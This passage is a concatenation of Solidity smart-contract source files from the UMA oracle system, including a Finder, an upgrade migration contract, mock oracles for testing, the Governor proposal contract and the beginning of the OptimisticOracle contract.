of the interface name that is either changed or registered. * @param implementationAddress address of the implementation contract. */ function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external override onlyOwner { interfacesImplemented[interfaceName] = implementationAddress; emit InterfaceImplementationChanged(interfaceName, implementationAddress); } /** * @notice Gets the address of the contract that implements the given `interfaceName`. * @param interfaceName queried interface. * @return implementationAddress address of the defined interface. */ function getImplementationAddress(bytes32 interfaceName) external view override returns (address) { address implementationAddress = interfacesImplemented[interfaceName]; require(implementationAddress != address(0x0), "Implementation not found"); return implementationAddress; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../oracle/implementation/Finder.sol"; import "../oracle/implementation/Constants.sol"; import "../oracle/implementation/Voting.sol"; /** * @title A contract to track a whitelist of addresses. */ contract Umip3Upgrader { // Existing governor is the only one who can initiate the upgrade. address public existingGovernor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. address public newGovernor; // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public voting; address public identifierWhitelist; address public store; address public financialContractsAdmin; address public registry; constructor( address _existingGovernor, address _existingVoting, address _finder, address _voting, address _identifierWhitelist, address _store, address _financialContractsAdmin, address _registry, address _newGovernor ) public { existingGovernor = _existingGovernor; existingVoting = Voting(_existingVoting); finder = Finder(_finder); voting = _voting; identifierWhitelist = _identifierWhitelist; store = _store; financialContractsAdmin = _financialContractsAdmin; registry = _registry; newGovernor = _newGovernor; } function upgrade() external { require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, voting); finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist); finder.changeImplementationAddress(OracleInterfaces.Store, store); finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin); finder.changeImplementationAddress(OracleInterfaces.Registry, registry); // Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated. finder.transferOwnership(newGovernor); // Inform the existing Voting contract of the address of the new Voting contract and transfer its // ownership to the new governor to allow for any future changes to the migrated contract. existingVoting.setMigrated(voting); existingVoting.transferOwnership(newGovernor); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../implementation/Constants.sol"; // A mock oracle used for testing. contract MockOracleAncillary is OracleAncillaryInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; bytes ancillaryData; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices; QueryPoint[] private requestedPrices; event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData); event PushedPrice( address indexed pusher, bytes32 indexed identifier, uint256 time, bytes ancillaryData, int256 price ); constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) { // New query, enqueue it for review. queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time, ancillaryData)); emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData, int256 price ) external { verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time][ancillaryData]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } emit PushedPrice(msg.sender, identifier, time, ancillaryData, price); } // Checks whether a price has been resolved. function hasPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice( bytes32 identifier, uint256 time, bytes memory ancillaryData ) public view override returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time][ancillaryData]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/Testable.sol"; import "../interfaces/OracleInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../implementation/Constants.sol"; // A mock oracle used for testing. contract MockOracle is OracleInterface, Testable { // Represents an available price. Have to keep a separate bool to allow for price=0. struct Price { bool isAvailable; int256 price; // Time the verified price became available. uint256 verifiedTime; } // The two structs below are used in an array and mapping to keep track of prices that have been requested but are // not yet available. struct QueryIndex { bool isValid; uint256 index; } // Represents a (identifier, time) point that has been queried. struct QueryPoint { bytes32 identifier; uint256 time; } // Reference to the Finder. FinderInterface private finder; // Conceptually we want a (time, identifier) -> price map. mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices; // The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements. // Can we generalize this data structure? mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices; QueryPoint[] private requestedPrices; constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); } // Enqueues a request (if a request isn't already present) for the given (identifier, time) pair. function requestPrice(bytes32 identifier, uint256 time) public override { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) { // New query, enqueue it for review. queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length); requestedPrices.push(QueryPoint(identifier, time)); } } // Pushes the verified price for a requested query. function pushPrice( bytes32 identifier, uint256 time, int256 price ) external { verifiedPrices[identifier][time] = Price(true, price, getCurrentTime()); QueryIndex storage queryIndex = queryIndices[identifier][time]; require(queryIndex.isValid, "Can't push prices that haven't been requested"); // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with // the contents of the last index (unless it is the last index). uint256 indexToReplace = queryIndex.index; delete queryIndices[identifier][time]; uint256 lastIndex = requestedPrices.length - 1; if (lastIndex != indexToReplace) { QueryPoint storage queryToCopy = requestedPrices[lastIndex]; queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace; requestedPrices[indexToReplace] = queryToCopy; } } // Checks whether a price has been resolved. function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; return lookup.isAvailable; } // Gets a price that has already been resolved. function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) { require(_getIdentifierWhitelist().isIdentifierSupported(identifier)); Price storage lookup = verifiedPrices[identifier][time]; require(lookup.isAvailable); return lookup.price; } // Gets the queries that still need verified prices. function getPendingQueries() external view returns (QueryPoint[] memory) { return requestedPrices; } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/MultiRole.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/Testable.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/OracleInterface.sol"; import "./Constants.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** * @title Takes proposals for certain governance actions and allows UMA token holders to vote on them. */ contract Governor is MultiRole, Testable { using SafeMath for uint256; using Address for address; /**************************************** * INTERNAL VARIABLES AND STORAGE * ****************************************/ enum Roles { Owner, // Can set the proposer. Proposer // Address that can make proposals. } struct Transaction { address to; uint256 value; bytes data; } struct Proposal { Transaction[] transactions; uint256 requestTime; } FinderInterface private finder; Proposal[] public proposals; /**************************************** * EVENTS * ****************************************/ // Emitted when a new proposal is created. event NewProposal(uint256 indexed id, Transaction[] transactions); // Emitted when an existing proposal is executed. event ProposalExecuted(uint256 indexed id, uint256 transactionIndex); /** * @notice Construct the Governor contract. * @param _finderAddress keeps track of all contracts within the system based on their interfaceName. * @param _startingId the initial proposal id that the contract will begin incrementing from. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _finderAddress, uint256 _startingId, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender); // Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite // other storage slots in the contract. uint256 maxStartingId = 10**18; require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18"); // This just sets the initial length of the array to the startingId since modifying length directly has been // disallowed in solidity 0.6. assembly { sstore(proposals_slot, _startingId) } } /**************************************** * PROPOSAL ACTIONS * ****************************************/ /** * @notice Proposes a new governance action. Can only be called by the holder of the Proposer role. * @param transactions list of transactions that are being proposed. * @dev You can create the data portion of each transaction by doing the following: * ``` * const truffleContractInstance = await TruffleContract.deployed() * const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI() * ``` * Note: this method must be public because of a solidity limitation that * disallows structs arrays to be passed to external functions. */ function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) { uint256 id = proposals.length; uint256 time = getCurrentTime(); // Note: doing all of this array manipulation manually is necessary because directly setting an array of // structs in storage to an an array of structs in memory is currently not implemented in solidity :/. // Add a zero-initialized element to the proposals array. proposals.push(); // Initialize the new proposal. Proposal storage proposal = proposals[id]; proposal.requestTime = time; // Initialize the transaction array. for (uint256 i = 0; i < transactions.length; i++) { require(transactions[i].to != address(0), "The `to` address cannot be 0x0"); // If the transaction has any data with it the recipient must be a contract, not an EOA. if (transactions[i].data.length > 0) { require(transactions[i].to.isContract(), "EOA can't accept tx with data"); } proposal.transactions.push(transactions[i]); } bytes32 identifier = _constructIdentifier(id); // Request a vote on this proposal in the DVM. OracleInterface oracle = _getOracle(); IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist(); supportedIdentifiers.addSupportedIdentifier(identifier); oracle.requestPrice(identifier, time); supportedIdentifiers.removeSupportedIdentifier(identifier); emit NewProposal(id, transactions); } /** * @notice Executes a proposed governance action that has been approved by voters. * @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions. * @param id unique id for the executed proposal. * @param transactionIndex unique transaction index for the executed proposal. */ function executeProposal(uint256 id, uint256 transactionIndex) external payable { Proposal storage proposal = proposals[id]; int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime); Transaction memory transaction = proposal.transactions[transactionIndex]; require( transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0), "Previous tx not yet executed" ); require(transaction.to != address(0), "Tx already executed"); require(price != 0, "Proposal was rejected"); require(msg.value == transaction.value, "Must send exact amount of ETH"); // Delete the transaction before execution to avoid any potential re-entrancy issues. delete proposal.transactions[transactionIndex]; require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed"); emit ProposalExecuted(id, transactionIndex); } /**************************************** * GOVERNOR STATE GETTERS * ****************************************/ /** * @notice Gets the total number of proposals (includes executed and non-executed). * @return uint256 representing the current number of proposals. */ function numProposals() external view returns (uint256) { return proposals.length; } /** * @notice Gets the proposal data for a particular id. * @dev after a proposal is executed, its data will be zeroed out, except for the request time. * @param id uniquely identify the identity of the proposal. * @return proposal struct containing transactions[] and requestTime. */ function getProposal(uint256 id) external view returns (Proposal memory) { return proposals[id]; } /**************************************** * PRIVATE GETTERS AND FUNCTIONS * ****************************************/ function _executeCall( address to, uint256 value, bytes memory data ) private returns (bool) { // Mostly copied from: // solhint-disable-next-line max-line-length // https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31 // solhint-disable-next-line no-inline-assembly bool success; assembly { let inputData := add(data, 0x20) let inputDataSize := mload(data) success := call(gas(), to, value, inputData, inputDataSize, 0, 0) } return success; } function _getOracle() private view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } // Returns a UTF-8 identifier representing a particular admin proposal. // The identifier is of the form "Admin n", where n is the proposal id provided. function _constructIdentifier(uint256 id) internal pure returns (bytes32) { bytes32 bytesId = _uintToUtf8(id); return _addPrefix(bytesId, "Admin ", 6); } // This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type. // If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits. // This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801. function _uintToUtf8(uint256 v) internal pure returns (bytes32) { bytes32 ret; if (v == 0) { // Handle 0 case explicitly. ret = "0"; } else { // Constants. uint256 bitsPerByte = 8; uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10. uint256 utf8NumberOffset = 48; while (v > 0) { // Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which // translates to the beginning of the UTF-8 representation. ret = ret >> bitsPerByte; // Separate the last digit that remains in v by modding by the base of desired output representation. uint256 leastSignificantDigit = v % base; // Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character. bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset); // The top byte of ret has already been cleared to make room for the new digit. // Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched. ret |= utf8Digit << (31 * bitsPerByte); // Divide v by the base to remove the digit that was just added. v /= base; } } return ret; } // This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other. // `input` is the UTF-8 that should have the prefix prepended. // `prefix` is the UTF-8 that should be prepended onto input. // `prefixLength` is number of UTF-8 characters represented by `prefix`. // Notes: // 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented // by the bytes32 output. // 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result. function _addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) internal pure returns (bytes32) { // Downshift `input` to open space at the "front" of the bytes32 bytes32 shiftedInput = input >> (prefixLength * 8); return shiftedInput | prefix; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../Governor.sol"; // GovernorTest exposes internal methods in the Governor for testing. contract GovernorTest is Governor { constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {} function addPrefix( bytes32 input, bytes32 prefix, uint256 prefixLength ) external pure returns (bytes32) { return _addPrefix(input, prefix, prefixLength); } function uintToUtf8(uint256 v) external pure returns (bytes32 ret) { return _uintToUtf8(v); } function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) { return _constructIdentifier(id); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "../interfaces/StoreInterface.sol"; import "../interfaces/OracleAncillaryInterface.sol"; import "../interfaces/FinderInterface.sol"; import "../interfaces/IdentifierWhitelistInterface.sol"; import "../interfaces/OptimisticOracleInterface.sol"; import "./Constants.sol"; import "../../common/implementation/Testable.sol"; import "../../common/implementation/Lockable.sol"; import "../../common/implementation/FixedPoint.sol"; import "../../common/implementation/AddressWhitelist.sol"; /** * @title Optimistic Requester. * @notice Optional interface that requesters can implement to receive callbacks. * @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on * transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing * money themselves). */ interface OptimisticRequester { /** * @notice Callback for proposals. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. */ function priceProposed( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external; /** * @notice Callback for disputes. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. * @param refund refund received in the case that refundOnDispute was enabled. */ function priceDisputed( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 refund ) external; /** * @notice Callback for settlement. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data of the price being requested. * @param price price that was resolved by the escalation process. */ function priceSettled( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 price ) external; } /** * @title Optimistic Oracle. * @notice Pre-DVM escalation contract that allows faster settlement. */ contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; event RequestPrice( address indexed requester, bytes32 identifier, uint256 timestamp, bytes ancillaryData, address currency, uint256 reward, uint256 finalFee ); event ProposePrice( address indexed requester, address indexed proposer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 proposedPrice, uint256 expirationTimestamp, address currency ); event DisputePrice( address indexed requester, address indexed proposer, address indexed disputer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 proposedPrice ); event Settle( address indexed requester, address indexed proposer, address indexed disputer, bytes32 identifier, uint256 timestamp, bytes ancillaryData, int256 price, uint256 payout ); mapping(bytes32 => Request) public requests; // Finder to provide addresses for DVM contracts. FinderInterface public finder; // Default liveness value for all price requests. uint256 public defaultLiveness; /** * @notice Constructor. * @param _liveness default liveness applied to each price request. * @param _finderAddress finder to use to get addresses of DVM contracts. * @param _timerAddress address of the timer contract. Should be 0x0 in prod. */ constructor( uint256 _liveness, address _finderAddress, address _timerAddress ) public Testable(_timerAddress) { finder = FinderInterface(_finderAddress); _validateLiveness(_liveness); defaultLiveness = _liveness; } /** * @notice Requests a new price. * @param identifier price identifier being requested. * @param timestamp timestamp of the price being requested. * @param ancillaryData ancillary data representing additional args being passed with the price request. * @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM. * @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0, * which could make sense if the contract requests and proposes the value in the same call or * provides its own reward system. * @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay. * This can be changed with a subsequent call to setBond(). */ function requestPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, IERC20 currency, uint256 reward ) external override nonReentrant() returns (uint256 totalBond) { require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid"); require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier"); require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency"); require(timestamp <= getCurrentTime(), "Timestamp in future"); require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data"); uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue; requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({ proposer: address(0), disputer: address(0), currency: currency, settled: false, refundOnDispute: false, proposedPrice: 0, resolvedPrice: 0, expirationTime: 0, reward: reward, finalFee: finalFee, bond: finalFee, customLiveness: 0 }); if (reward > 0) { currency.safeTransferFrom(msg.sender, address(this), reward); } emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee); // This function returns the initial proposal bond for this request, which can be customized by calling // setBond() with the same identifier and timestamp. return finalFee.mul(2); } /** * @notice Set the proposal bond associated with a price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param bond custom bond amount to set. * @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be * changed again with a subsequent call to setBond(). */ function setBond( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 bond ) external override nonReentrant() returns (uint256 totalBond) { require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested"); Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData); request.bond = bond; // Total bond is the final fee + the newly set bond. return bond.add(request.finalFee); } /** * @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller * in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's * bond, so there is still profit to be made even if the reward is refunded. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. */ function setRefundOnDispute( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() { require( getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setRefundOnDispute: Requested" ); _getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true; } /** * @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before * being auto-resolved. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param customLiveness new custom liveness. */ function setCustomLiveness( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, uint256 customLiveness ) external override nonReentrant() { require( getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setCustomLiveness: Requested" ); _validateLiveness(customLiveness); _getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness; } /** * @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come * from this proposal. However, any bonds are pulled from the caller. * @param proposer address to set as the proposer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePriceFor( address proposer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) public override nonReentrant() returns (uint256 totalBond) { require(proposer != address(0), "proposer address must be non 0"); require( getState(requester, identifier, timestamp, ancillaryData) == State.Requested, "proposePriceFor: Requested" ); Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.proposer = proposer; request.proposedPrice = proposedPrice; // If a custom liveness has been set, use it instead of the default. request.expirationTime = getCurrentTime().add( request.customLiveness != 0 ? request.customLiveness : defaultLiveness ); totalBond = request.bond.add(request.finalFee); if (totalBond > 0) { request.currency.safeTransferFrom(msg.sender, address(this), totalBond); } emit ProposePrice( requester, proposer, identifier, timestamp, ancillaryData, proposedPrice, request.expirationTime, address(request.currency) ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {} } /** * @notice Proposes a price value for an existing price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @param proposedPrice price being proposed. * @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to * the proposer once settled if the proposal is correct. */ function proposePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData, int256 proposedPrice ) external override returns (uint256 totalBond) { // Note: re-entrancy guard is done in the inner call. return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice); } /** * @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will * receive any rewards that come from this dispute. However, any bonds are pulled from the caller. * @param disputer address to set as the disputer. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePriceFor( address disputer, address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public override nonReentrant() returns (uint256 totalBond) { require(disputer != address(0), "disputer address must be non 0"); require( getState(requester, identifier, timestamp, ancillaryData) == State.Proposed, "disputePriceFor: Proposed" ); Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); request.disputer = disputer; uint256 finalFee = request.finalFee; uint256 bond = request.bond; totalBond = bond.add(finalFee); if (totalBond > 0) { request.currency.safeTransferFrom(msg.sender, address(this), totalBond); } StoreInterface store = _getStore(); // Avoids stack too deep compilation error. { // Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it // proportionally more expensive to delay the resolution even if the proposer and disputer are the same // party. uint256 burnedBond = _computeBurnedBond(request); // The total fee is the burned bond and the final fee added together. uint256 totalFee = finalFee.add(burnedBond); if (totalFee > 0) { request.currency.safeIncreaseAllowance(address(store), totalFee); _getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee)); } } _getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester)); // Compute refund. uint256 refund = 0; if (request.reward > 0 && request.refundOnDispute) { refund = request.reward; request.reward = 0; request.currency.safeTransfer(requester, refund); } emit DisputePrice( requester, request.proposer, disputer, identifier, timestamp, ancillaryData, request.proposedPrice ); // Callback. if (address(requester).isContract()) try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {} } /** * @notice Disputes a price value for an existing price request with an active proposal. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to * the disputer once settled if the dispute was valid (the proposal was incorrect). */ function disputePrice( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override returns (uint256 totalBond) { // Note: re-entrancy guard is done in the inner call. return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData); } /** * @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled * or settleable. Note: this method is not view so that this call may actually settle the price request if it * hasn't been settled. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return resolved price. */ function settleAndGetPrice( bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() returns (int256) { if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) { _settle(msg.sender, identifier, timestamp, ancillaryData); } return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice; } /** * @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes * the returned bonds as well as additional rewards. */ function settle( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) external override nonReentrant() returns (uint256 payout) { return _settle(requester, identifier, timestamp, ancillaryData); } /** * @notice Gets the current data structure containing all information about a price request. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the Request data structure. */ function getRequest( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (Request memory) { return _getRequest(requester, identifier, timestamp, ancillaryData); } /** * @notice Computes the current state of a price request. See the State enum for more details. * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing request. * @param timestamp timestamp to identify the existing request. * @param ancillaryData ancillary data of the price being requested. * @return the State. */ function getState( address requester, bytes32 identifier, uint256 timestamp, bytes memory ancillaryData ) public view override returns (State) { Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData); if (address(request.currency) == address(0)) { return State.Invalid; } if (request.proposer == address(0)) { return State.Requested; } if (request.settled) { return State.Settled; } if (request.disputer == address(0)) { return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed; } return _getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester)) ? State.Resolved : State.Disputed; } /** * @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price). * @param requester sender of the initial price request. * @param identifier price identifier to identify the existing 